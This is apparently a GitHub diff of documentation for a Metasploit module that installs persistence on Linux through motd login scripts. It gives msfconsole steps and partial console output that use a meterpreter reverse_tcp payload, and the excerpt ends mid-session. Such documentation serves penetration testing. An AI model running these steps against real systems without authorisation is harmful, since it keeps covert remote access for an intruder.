You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
2
+
To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required.
3
+
4
+
## Verification Steps
5
+
6
+
1. Start msfconsole
7
+
2. Obtain a session on the target machine
8
+
3.`use exploit/linux/local/motd_persistence`
9
+
4.`set session -1`
10
+
5.`exploit`
11
+
12
+
## Module usage
13
+
14
+
```
15
+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd
16
+
17
+
Matching Modules
18
+
================
19
+
20
+
# Name Disclosure Date Rank Check Description
21
+
- ---- --------------- ---- ----- -----------
22
+
0 exploit/linux/local/motd_persistence 1999-01-01 normal No update-motd.d Persistence
23
+
24
+
25
+
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence
26
+
27
+
[*] Using exploit/linux/local/motd_persistence
28
+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
29
+
msf6 exploit(linux/local/motd_persistence) > set session -1
0 commit comments